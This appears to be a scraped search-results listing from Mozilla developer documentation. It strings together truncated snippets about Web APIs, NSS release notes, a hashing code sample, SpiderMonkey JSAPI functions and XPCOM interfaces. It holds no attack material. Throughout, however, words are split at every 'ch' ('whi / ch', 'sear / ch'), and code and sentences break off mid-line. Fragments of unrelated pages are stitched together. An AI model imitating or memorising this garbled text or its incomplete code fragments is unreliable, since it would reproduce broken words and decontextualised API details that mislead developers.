chrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientation
chrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38
chrome android full support 38firefox android full support 43opera an...
...And 6 more matches
ScriptProcessorNode - Web APIs
an event, implementing the audioprocessingevent interface, is sent to the object ea
ch time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.
...small numbers lower the latency, but large number may be necessary to avoid audio breakup and glit
ches.
... if the buffer size is not defined, whi
ch is recommended, the browser will pick one that its heuristic deems appropriate.
...And 6 more matches
ServiceWorkerContainer - Web APIs
it returns a promise that will never reject, and whi
ch waits indefinitely until the serviceworkerregistration associated with the current page has an serviceworkerregistration.active worker.
... events controller
change occurs when the document's associated serviceworkerregistration acquires a new active worker.
... also available via the serviceworkercontainer.oncontroller
change property.
...And 6 more matches
StorageEvent - Web APIs
a storageevent is sent to a window when a storage area it has access to is
changed within the context of another document.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/storageevent" target="_top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="conso...
...las,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key
changed.
...And 6 more matches
SubtleCrypto.encrypt() - Web APIs
it returns a promise whi
ch will be fulfilled with the encrypted data (also known as "ciphertext").
...the web crypto api supports three different aes modes: ctr (counter mode) cbc (cipher block
chaining) gcm (galois/counter mode) it's strongly recommended to use authenticated encryption, whi
ch includes
checks that the ciphertext has not been modified by an attacker.
... authentication helps protect against
chosen-ciphertext attacks, in whi
ch an attacker can ask the system to decrypt arbitrary messages, and use the result to deduce information about the secret key.
...And 6 more matches
Using the User Timing API - Web APIs
this document shows how to create mark and measure performance entry types and how to use user timing methods (whi
ch are extensions of the performance interface) to retrieve and remove entries from the browser's performance timeline.
...the following examples shows how to use ea
ch of these methods (performance.getentries(), performance.getentriesbytype(entrytype), and performance.getentriesbyname(name, entrytype) ) to retrieve one or more marks.
... function display_marks(ev) { if (performance.getentries === undefined) { log("display marks: performance.getentries not supported", 0); return; } log("display marks", 0); // display ea
ch mark using getentries() var entries = performance.getentries(); var j=0; for (var i=0; i < entries.length; i++) { if (entries[i].entrytype == "mark") { if (j == 0) { log("= getentries()", 0); j++ } log("...
...And 6 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
the webglrenderingcontext method makexrcompatible() ensures that the rendering context described by the webglrenderingcontext is ready to render the scene for the immersive webxr device on whi
ch it will be displayed.
... this is useful if you have an application whi
ch can start out being presented on a standard 2d display but can then be transitioned to a 3d immersion system.
... return value a promise whi
ch successfully resolves once the webgl context is ready to be used for rendering webxr content.
...And 6 more matches
Color masking - Web APIs
so, by masking off the blue and green
channels, you are only allowing the red component of pixels to be updated, and therefore it is as if you were looking through a red tinted glass.
...by masking off some
channel(s), we are in fact biasing the displayed colors towards the complementary color.
...masking only the blue
channel would give us shades of yellow (including shades of orange, brown, olive and yellow-green), the complementary of blue.
...And 6 more matches
WebRTC Statistics API - Web APIs
collecting statistics you can collect statistics at various levels throughout the webrtc hierar
chy of objects.
... try { mypeerconnection = new rtcpeerconnection(pcoptions); statsinterval = window.setinterval(getconnectionstats, 1000); /* add event handlers, etc */ } cat
ch(err) { console.error("error creating rtcpeerconnection: " + err); } function getconnectionstats() { mypeerconnection.getstats(null).then(stats => { var statsoutput = ""; stats.forea
ch(report => { if (report.type === "inbound-rtp" && report.kind === "video") { object.keys(report).forea
ch(statname => { statsoutput += `<strong>${statname}:</strong> ${report[stat...
...the table below shows the statistic categories and the corresponding dictionaries; for ea
ch statistic category, the full hierar
chy of rtcstats-based dictionaries are listed, so you can easily find all the available values.
...And 6 more matches
NSS 3.12.6 release notes
nss 3.12.6 release notes 2010-03-03 newsgroup: mozilla.dev.te
ch.crypto introduction network security services (nss) 3.12.6 is a pat
ch release for nss 3.12.
... you also need to download the nspr 4.8.4 binary distributions to get the nspr 4.8.4 header files and shared libraries, whi
ch nss 3.12.6 requires.
... the behavior of nss for renegotiation can be
changed through api function calls, or with the following environment variables: nss_ssl_enable_renegotiation values: [0|n|n]: ssl_renegotiate_never never allow renegotiation - that was the default for 3.12.5 release.
...And 5 more matches
NSS 3.14.2 release notes
network security services (nss) 3.14.2 is a pat
ch release for nss 3.14.
... new types: in certt.h cert_pi_useonlytrustan
chors in secoidt.h sec_oid_ms_ext_key_usage_ctl_signing notable
changes in nss 3.14.2 bug 805604 - support for aes-ni and avx accelerated aes-gcm was contributed by shay gueron of intel.
... if compiled on linux systems in 64-bit mode, nss will include runtime detection to
check if the platform supports aes-ni and pclmulqdq.
...And 5 more matches
NSS 3.16.2 release notes
introduction network security services (nss) 3.16.2 is a pat
ch release for nss 3.16.
...use the new pk11_privdecrypt and pk11_pubencrypt functions with the ckm_rsa_pkcs_oaep me
chanism.
...the algorithm is specified with a ck_me
chanism_type.
...And 5 more matches
NSS 3.21 release notes
introduction the nss team has released network security services (nss) 3.21, whi
ch is a minor release.
... new in nss 3.21 new functionality certutil now supports a --rename option to
change a nickname (bug 1142209) tls extended master secret extension (rfc 7627) is supported (bug 1117022) new info functions added for use during mid-handshake callbacks (bug 1084669) new functions in nss.h nss_optionset - sets nss global options nss_optionget - gets the current value of nss global options in secmod.h secmod_createmoduleex - create a new secmodmodule st...
... in ssl.h ssl_getpreliminary
channelinfo - obtains information about a tls
channel prior to the handshake being completed, for use with the callbacks that are invoked during the handshake ssl_signatureprefset - configures the enabled signature and hash algorithms for tls ssl_signatureprefget - retrieves the currently configured signature and hash algorithms ssl_signaturemaxcount - obtains the maximum number signature algorithms that can be configured with ssl_signatureprefset ...
...And 5 more matches
NSS 3.23 release notes
introduction the nss team has released network security services (nss) 3.23, whi
ch is a minor release.
... nss 3.23 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_23_rtm/src/ new in nss 3.23 new functionality
cha
cha20/poly1305 cipher and tls cipher suites now supported (bug 917571, bug 1227905) experimental-only support tls 1.3 1-rtt mode (draft-11).
... new functions in ssl.h ssl_setdowngrade
checkversion - set maximum version for new serverrandom anti-downgrade me
chanism.
...And 5 more matches
NSS 3.47 release notes
introduction the nss team has released network security services (nss) 3.47 on 18 october 2019, whi
ch is a minor release.
... the nss team would like to recognize first-time contributors:
christian weisgerber deian stefan jenine distribution information the hg tag is nss_3_47_rtm.
... upcoming
changes to default tls configuration the next nss team plans to make two
changes to the default tls configuration in nss 3.48, whi
ch will be released in early december: tls 1.3 will be the default maximum tls version.
...And 5 more matches
NSS 3.55 release notes
introduction the nss team has released network security services (nss) 3.55 on 24 july 2020, whi
ch is a minor release.
... notable
changes in nss 3.55 p384 and p521 elliptic curve implementations are replaced with verifiable implementations from fiat-crypto and ecckiila.
...with this function, a given slot can be queried with a der-encoded certificate, providing performance and usability improvements over other me
chanisms.
...And 5 more matches
NSS Sample Code Sample_1_Hashing
sample code 1 /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <se
chash.h> typedef struct { const
char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a secoidtag.
... * returns null if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const
char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned
char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++...
...olumn += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * prints a usage message and exits */ static void usage(const
char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, hash_names...
...And 5 more matches
NSS environment variables
note: nss environment variables are subject to be
changed and/or removed from nss.
... 3.12.5 nss_hash_alg_support string specifies agorithms allowed to be used in certain applications, su
ch as in signatures on certificates and crls.
... 3.7 nss_sdb_use_ca
che string ("no","yes","auto") controls whether nss uses a local ca
che of sql database contents.
...And 5 more matches
Proxies in Necko
this means that callers can just create an nsi
channel, not needing to worry about whether the
channel will use a proxy or not the basic interfaces for proxies are: nsiproxyinfo, nsiprotocolproxyservice, and nsiproxiedprotocolhandler nsiproxyinfo is a simple helper whi
ch stores information about the type of the proxy, its host and its port.
... nsiioservice the decision whether to use a proxy is made in nsioservice::new
channelfromuri.
...depending on the type of the proxy info, it either asks the http protocol handler or the protocol handler for the requested uri for a new
channel with the nsiproxyinfo - if the
channel supports nsiproxiedprotocolhandler.
...And 5 more matches
Future directions
that means the code as it is today won't mat
ch this document, and that's ok.
... whenever practical, new code and
changes should move code closer to the ideal future.
... and of course, the idea of the future is always evolving in time as things
change and we learn more.
...And 5 more matches
Self-hosted builtins in SpiderMonkey
most importantly, it's possible to invoke any function within the scope of any object using the syntax callfunction(fun, receiver, ...args) (or callcontentfunction, see below), whi
ch causes fun to be called within the scope of receiver with ...args as its arguments.
...this restriction was added because otherwise it's extremely easy to accidentally call methods that have been
changed by content,
changing the behavior from what was expected.
...e.g., if receiver is an object that content has access to, then callfunction(receiver.fun, receiver) wouldn't be guaranteed to work, because content might have
changed the value of receiver.fun, so callcontentfunction(receiver.fun, receiver) has to be used.
...And 5 more matches
JS::CompileOffThread
syntax bool js::cancompileoffthread(jscontext *cx, const js::readonlycompileoptions &options, size_t length); bool js::compileoffthread(jscontext *cx, const js::readonlycompileoptions &options, const
char16_t *
chars, size_t length, js::offthreadcompilecallback callback, void *callbackdata); jsscript * js::finishoffthreadscript(jscontext *maybecx, jsruntime *rt, void *token); typedef void (*js::offthreadcompilecallback)(void *token, void *callbackdata); name type description cx / maybe jscontext * pointer to a js context from whi
ch to derive runtime information.
...
chars const
char16_t * string containing the script to compile.
... length size_t the length of
chars or bytes, in
characters.
...And 5 more matches
JS::PersistentRooted
syntax js::persistentrooted<t> var; // added in spidermonkey 38 js::persistentrooted<t> var(cx); js::persistentrooted<t> var(cx, initial); js::persistentrooted<t> var(rt); js::persistentrooted<t> var(rt, initial); name type description cx jscontext * the context to get the runtime in whi
ch to add the root rt jsruntime * the runtime in whi
ch to add the root.
... note that you must not use an persistentrooted in an object owned by a js object: whenever one object whose lifetime is decided by the gc refers to another su
ch object, that edge must be traced only if the owning js object is traced.
... this applies not only to js objects (whi
ch obviously are managed by the gc) but also to c++ objects owned by js objects.
...And 5 more matches
JSAutoByteString
syntax jsautobytestring str; jsautobytestring(jscontext *cx, jsstring *str); name type description cx jscontext * the context in whi
ch to add the root.
... methods method description void initbytes(
char *bytes) take ownership of the given byte array.
...
char *encodelatin1(jscontext *cx, jsstring *str) call js_encodestring and take ownership of the returned string, and return the string.
...And 5 more matches
JSProtoKey
mxr sear
ch for jsproto_null jsproto_object object mxr sear
ch for jsproto_object jsproto_function function mxr sear
ch for jsproto_function jsproto_array array mxr sear
ch for jsproto_array jsproto_boolean boolean mxr sear
ch for jsproto_boolean jsproto_json json mxr sear
ch for jsproto_json jsproto_date date mxr sear
ch for jsproto_date jsproto_math math mxr sear
ch for jsproto_math jsproto_number number mxr sear
ch for jsproto_number jsprot...
...o_string string mxr sear
ch for jsproto_string jsproto_regexp regexp mxr sear
ch for jsproto_regexp jsproto_error error mxr sear
ch for jsproto_error jsproto_internalerror internalerror mxr sear
ch for jsproto_internalerror jsproto_evalerror evalerror mxr sear
ch for jsproto_evalerror jsproto_rangeerror rangeerror mxr sear
ch for jsproto_rangeerror jsproto_referenceerror referenceerror mxr sear
ch for jsproto_referenceerror jsproto_syntaxerror syntaxerror mxr sear
ch for jsproto_syntaxerror jsproto_typeerror typeerror mxr sear
ch for jsproto_typeerror jsproto_urierror urierror mxr sear
ch for jsproto_urierror jsproto_iterator itera...
...tor mxr sear
ch for jsproto_iterator jsproto_stopiteration stopiteration mxr sear
ch for jsproto_stopiteration jsproto_arraybuffer arraybuffer mxr sear
ch for jsproto_arraybuffer jsproto_int8array int8array mxr sear
ch for jsproto_int8array jsproto_uint8array uint8array mxr sear
ch for jsproto_uint8array jsproto_int16array int16array mxr sear
ch for jsproto_int16array jsproto_uint16array uint16array mxr sear
ch for jsproto_uint16array jsproto_int32array int32array mxr sear
ch for jsproto_int32array jsproto_uint32array uint32array mxr sear
ch for jsproto_uint32array jsproto_float32array float32array mxr sear
ch for jsproto_float32array js...
...And 5 more matches
JS_DeleteProperty2
syntax bool js_deleteproperty2(jscontext *cx, js::handleobject obj, const
char *name, bool *succeeded); bool js_deleteucproperty2(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, bool *succeeded); bool js_deletepropertybyid2(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context from whi...
...
ch to derive runtime information.
... obj js::handleobject object from whi
ch to delete a property.
...And 5 more matches
JS_HasProperty
syntax bool js_hasproperty(jscontext *cx, js::handleobject obj, const
char *name, bool *foundp); bool js_hasucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, bool *vp); bool js_haspropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, bool *foundp); // added in spidermonkey 1.8.1 name type description cx jscontext * a context.
... obj js::handleobject object to sear
ch on for the property.
... name or id const
char * or const
char16_t or js::handleid name of the property to look up.
...And 5 more matches
JS_PushArguments
syntax jsval * js_pusharguments(jscontext *cx, void **markp, const
char *format, ...); jsval * js_pushargumentsva(jscontext *cx, void **markp, const
char *format, va_list ap); name type description cx jscontext * the context in whi
ch to perform any necessary conversions.
...on success, *markp receives the internally allocated stack mark whi
ch should be passed to js_poparguments.
... format const
char * null-terminated string holding a list of format types to convert the following arguments to.
...And 5 more matches
JS_SetOperationCallback
callback syntax jsbool (*jsoperationcallback)(jscontext *cx); name type description cx jscontext * pointer to a jscontext in whi
ch this callback was installed.
... applications must not use both the operation callback api and the older bran
ch callback api.
... to s
chedule the gc and for other activities the engine internally triggers operation callbacks.
...And 5 more matches
JS_SetParent
syntax bool js_setparent(jscontext *cx, js::handleobject obj, js::handleobject parent); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... obj js::handleobject pointer to the object for whi
ch to set the parent.
... ea
ch object may have at most one parent, whi
ch is another object.
...And 5 more matches
JS_SetProperty
syntax bool js_setproperty(jscontext *cx, js::handleobject obj, const
char *name, js::handlevalue v); bool js_setucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, js::handlevalue v); bool js_setpropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::handlevalue v); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... obj js::handlevalue object to whi
ch the property to set belongs.
... name or id const
char * or const
char16_t *or js::handleid name of the property to set.
...And 5 more matches
JS_THREADSAFE
we have recently made major
changes to this feature.
...ea
ch thread that uses the javascript engine must essentially operate in a totally separate region of memory.
...these callbacks are (unreliably!) documented with the words "provides request", like this: name type description cx jscontext * the context in whi
ch the event ocurred.
...And 5 more matches
compare-locales
compare-locales is a python script that helps localizers to
check their work without running firefox or another application.
... installation compare-locales needs to be installed, and it requires that you have python 2.7 or 3.5+ installed on your ma
chine.
...if you want to test the localization for de, run $ compare-locales browser/locales/l10n.toml ./l10n/ de to
check mobile, replace the previous line with: $ compare-locales mobile/android/locales/l10n.toml ./l10n/ zh-tw to
check mail, suite, calendar that lives on comm-central, you can either rely on the
check-out of mozilla within comm-central repository that the regular comm-central build instructions generate: $ compare-locales ./comm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you don't want...
...And 5 more matches
Mozinfo
throughout mozmill and other mozilla python code,
checking the underlying platform is done in many different ways.
... the various
checks needed lead to a lot of copy+pasting, leaving the reader to wonder....is this specific
check necessary for (e.g.) an operating system?
... because information is not consolidated,
checks are not done consistently, nor is it defined what we are
checking for.
...And 5 more matches
Using the Places keywords API
ea
ch keyword can be associated with post data, in su
ch a case a post action will be executed when the given url is selected from the awesomebar.
... keywords in firefox are currently created through the add keyword for this sear
ch contextual menu option in form text fields.
... fet
ching an entry by keyword the fet
ch() method acceps a keyword string (or an object having a keywords property) and might resolve to a keyword entry with the following properties: keyword: string representing the keyword url: the url represeted by the keyword postdata: optional post data string.
...And 5 more matches
Fun With XBL and XPConnect
introduction this article describes an application of xbl in whi
ch a simple xpcom interface is made accessible to a xul widget.
...all you have to do is specifically defining a method on the xbl widget whi
ch forwards the method call to the xpcom object.
... <method name="autocomplete"> <argument name="asear
chstring"/> <argument name="resultlistener"/> <body> <![cdata[ return this.autocompletesession.autocomplete(null, anonymouscontent[0], asear
chstring, this.autocompletelistener); ]]> </body> </method> you can see that the body of the method is just getting the auto complete session object and calling the auto complete method on it.
...And 5 more matches
How to build a binary XPCOM component using Visual Studio
xpcom is mozilla’s cross platform component object model, similar to microsoft’s com te
chnology.
...for example, xulrunner 1.8.0.4 whi
ch has a pre-built sdk at gecko-sdk-win32-msvc-1.8.0.4.zip.
...you also need a couple of pre-built libraries (glib-1.2.dll & libidl-0.6.dll) from the wintools.zip ar
chive.
...And 5 more matches
Components.classes
ea
ch object represents one of the classes of xpcom components that can be constructed or accessed as an xpcom service.
...if you want to use a class whi
ch was only registered with their cid, use components.classesbyid instead of components.classes to retrieve it.
... note also that it is possible that a given add-on component with a given contractid will be present on one ma
chine but not have been installed on another ma
chine.
...And 5 more matches
Components.utils.importGlobalProperties
system scopes su
ch as jsms and frame scripts don't have certain objects, su
ch as indexeddb and xmlhttprequest, that are available to dom window globals.
... using this api you can import these objects into su
ch a system scope.
...ea
ch string is the name of an object to import, and will be defined on the importing scope's global.
...And 5 more matches
IAccessibleHypertext
1.0 66 introduced gecko 1.9 inherits from: iaccessibletext last
changed in gecko 1.9 (firefox 3) the iaccessiblehypertext interface is the main interface to expose hyperlinks in a document, typically a text document, that are used to reference other documents.
... a typical implementation is to implement this interface on the smallest text object su
ch as a paragraph of text.
... method overview [propget] hresult hyperlink([in] long index, [out] iaccessiblehyperlink hyperlink ); [propget] hresult hyperlinkindex([in] long
charindex, [out] long hyperlinkindex ); [propget] hresult nhyperlinks([out] long hyperlinkcount ); methods hyperlink() returns the specified link.
...And 5 more matches
imgIEncoder
1.0 66 introduced gecko 1.8 inherits from: nsiasyncinputstream last
changed in gecko 1.9 (firefox 3) method overview void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions); void encodeclipboardimage(in nsiclipboardimage aclipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void initfromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); ...
...void startimageencode(in pruint32 width, in pruint32 height, in pruint32 inputformat, in astring outputoptions); constants possible values for input format (note that not all image formats support saving alpha
channels): constant value description input_format_rgb 0 input is rgb ea
ch pixel is represented by three bytes: r, g, and b (in that order, regardless of host endianness) input_format_rgba 1 input is rgb ea
ch pixel is represented by four bytes: r, g, and b (in that order, regardless of host endianness).
... post-multiplied alpha us used (for example 50% transparent red is 0xff000080) input_format_hostargb 2 input is host-endian argb: on big-endian ma
chines ea
ch pixel is therefore argb, and for little-endian ma
chiens (intel) ea
ch pixel is bgra (this is used by canvas to mat
ch it's internal representation) pre-multiplied alpha is used (that is, 50% transparent red is 0x80800000, not 0x80ff0000) possible values for outputoptions.
...And 5 more matches
mozIStorageService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) see mozistorageconnection method overview nsifile backupdatabasefile(in nsifile adbfile, in astring abackupfilename, [optional] in nsifile abackupparentdirectory); mozistorageconnection opendatabase(in nsifile adatabasefile); mozistorageconnection openspecialdatabase(in string astoragekey); mozistorageconnection openunshareddatabase(in nsifile adatabasefile); meth...
...consumers should
check mozistorageconnection.connectionready to ensure that they can use the database.
... warning: if you have more than one connection to a file, you must use the exact same name for the file ea
ch time, including case.
...And 5 more matches
nsIAccessibilityService
last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsiaccessibleretrieval method overview nsiaccessible createouterdocaccessible(in nsidomnode anode); nsiaccessible createrootaccessible(in nsipresshell ashell, in nsidocument adocument); nsiaccessible createhtml4buttonaccessible(in nsisupports aframe); nsiaccessible createhypertextaccessible(in nsisupports aframe); nsiaccessible createhtmlbraccessible(in nsisupports aframe); nsiaccessible createhtmlbuttonaccessible(in nsisupports aframe); nsiaccessible createhtmlaccessiblebymarkup(in nsiframe aframe, in nsiweakreference aweakshell, in nsidomnode adomnode); nsiaccessible...
... createhtmlliaccessible(in nsisupports aframe, in nsisupports abulletframe, in astring abullettext); nsiaccessible createhtml
checkboxaccessible(in nsisupports aframe); nsiaccessible createhtmlcomboboxaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlgenericaccessible(in nsisupports aframe); nsiaccessible createhtmlgenericaccessible(in nsisupports aframe); nsiaccessible createhtmlhraccessible(in nsisupports aframe); nsiaccessible createhtmlimageaccessible(in nsisupports aframe); nsiaccessible createhtmllabelaccessible(in nsisupports aframe); nsiaccessible createhtmllabelaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlobjectframeaccessible(in nsobjectframe aframe); nsiaccessible create...
...le(in nsisupports aframe); nsiaccessible getaccessible(in nsidomnode anode, in nsipresshell apresshell, in nsiweakreference aweakshell, inout nsiframe framehint, out boolean aishidden); nsiaccessible addnativerootaccessible(in voidptr aatkaccessible); void removenativerootaccessible(in nsiaccessible arootaccessible); void invalidatesubtreefor(in nsipresshell apresshell, in nsicontent a
changedcontent, in pruint32 aevent); methods removenativerootaccessible() void removenativerootaccessible( in nsiaccessible arootaccessible ); invalidatesubtreefor() invalidate the accessibility ca
che associated with apresshell, for accessibles that were generated for acontainercontent and it's subtree.
...And 5 more matches
nsIAccessibleHyperText
a typical implementation is to implement this interface on the small text object su
ch as a paragraph of text.
... inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) method overview nsiaccessiblehyperlink getlink(in long linkindex); long getlinkindex(in long
charindex); long getselectedlinkindex(); obsolete since gecko 1.9 attributes attribute type description linkcount long the number of links contained within this hypertext object.
... exceptions thrown ns_error_failure indicates that the accessible is unatta
ched from the accessible tree.
...And 5 more matches
nsIBlocklistService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 29 (firefox 29 / thunderbird 29 / seamonkey 2.26) method overview unsigned long getaddonblockliststate(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); unsigned long getpluginblockliststate(in nsiplugintag plugin, [optional] in astring appversion, [optional] in astring toolkitversion); boolean isaddonblocklisted(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); constants constant value description state_not_blocked 0 state_softblocked 1 ...
... appversion optional the version of the application we are
checking in the blocklist.
... toolkitversion optional the version of the toolkit we are
checking in the blocklist.
...And 5 more matches
nsIClassInfo
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsisupports gethelperforlanguage(in pruint32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array); attributes attribute type description classdescription string a human readable string naming the class, or null.
... classid nscidptr a classid through whi
ch an instance of this class can be created, or null.
... if the flags attribute has the singleton bit set, then the value of this attribute specifies a classid through whi
ch this class can be accessed as a service using nsiservicemanager.getservice().
...And 5 more matches
nsIContentSecurityPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttp
channel a
channel); void sendreports(in astring blockeduri, in astring violateddirective); short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiu...
...ri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetype, in nsisupports aextra); attributes attribute type description allowseval boolean whether this policy allows eval and eval-like functions su
ch as settimeout("code string", time).
... calls to this may trigger violation reports when queried, so this value should not be ca
ched.
...And 5 more matches
nsIContentViewer
inherits from: nsisupports last
changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: ?????????????????????????????????????.
... previousviewer nsicontentviewer the previous content viewer, whi
ch has been closed but not destroyed.
...return value the container view, or null if this content viewer is the root of a view manager hierar
chy.
...And 5 more matches
nsIConverterInputStream
xpcom/io/nsiconverterinputstream.idlscriptable a uni
char input stream that wraps an input stream.
... this allows reading unicode strings from a stream, automatically converting the bytes from a selected
character encoding.
... 1.0 66 introduced gecko 1.8 inherits from: nsiuni
charinputstream last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/converter-input-stream;1.
...And 5 more matches
nsICrashReporter
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void annotatecrashreport(in acstring key, in acstring data); void appendappnotestocrashreport(in acstring data); void appendobjcexceptioninfotoappnotes(in voidptr aexception); native code only!
... minidumppath nsilocalfile get or set the path on the local system to whi
ch minidumps will be written when a crash happens.
... serverurl nsiurl get or set the url to whi
ch crash reports will be submitted.
...And 5 more matches
nsIDNSService
inherits from: nsisupports last
changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/network/dns-service;1.
... constant value description resolve_bypass_ca
che (1 << 0) this flag suppresses the internal dns lookup ca
che.
...speculative requests return errors if prefet
ching is disabled by configuration.
...And 5 more matches
nsIDOMMouseScrollEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last
changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsidommouseevent.
... in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type description axis long indicates whi
ch mouse wheel axis
changed; this will be either horizontal_axis or vertical_axis.
... viewarg the nsidomabstractview in whi
ch the event occurred.
...And 5 more matches
nsIDOMNode
inherits from: nsisupports last
changed in gecko 0.9.6 method overview nsidomnode append
child(in nsidomnode new
child) nsidomnode clonenode(in boolean deep); boolean hasattributes(); boolean has
childnodes(); nsidomnode insertbefore(in nsidomnode new
child, in nsidomnode ref
child) boolean issupported(in domstring feature, in domstring version); void normalize(); nsidomnode remove
child(in nsidomnode old
child) nsidomnode replace
child(in nsidomnode new
child, in nsidomnode old
child) attributes attribute type description attributes nsidomnamednodemap read only.
...
childnodes nsidomnodelist read only.
... first
child nsidomnode read only.
...And 5 more matches
nsIDOMXPathResult
dom/interfaces/xpath/nsidomxpathresult.idlscriptable this interface describes an xpath result returned by nsidomxpathevaluator or document.evaluate inherits from: nsisupports last
changed in gecko 1.7 method overview nsidomnode iteratenext(); nsidomnode snapshotitem(in unsigned long index); attributes attribute type description booleanvalue boolean if resulttype is boolean_type, the boolean value.
... unordered_node_iterator_type 4 type is a reference to all the nodes mat
ching the expression used in the evaluator.
... ordered_node_iterator_type 5 type is a reference to all the nodes mat
ching the expression used in the evaluator.
...And 5 more matches
nsIEditor
66 introduced gecko 1.0 inherits from: nsisupports last
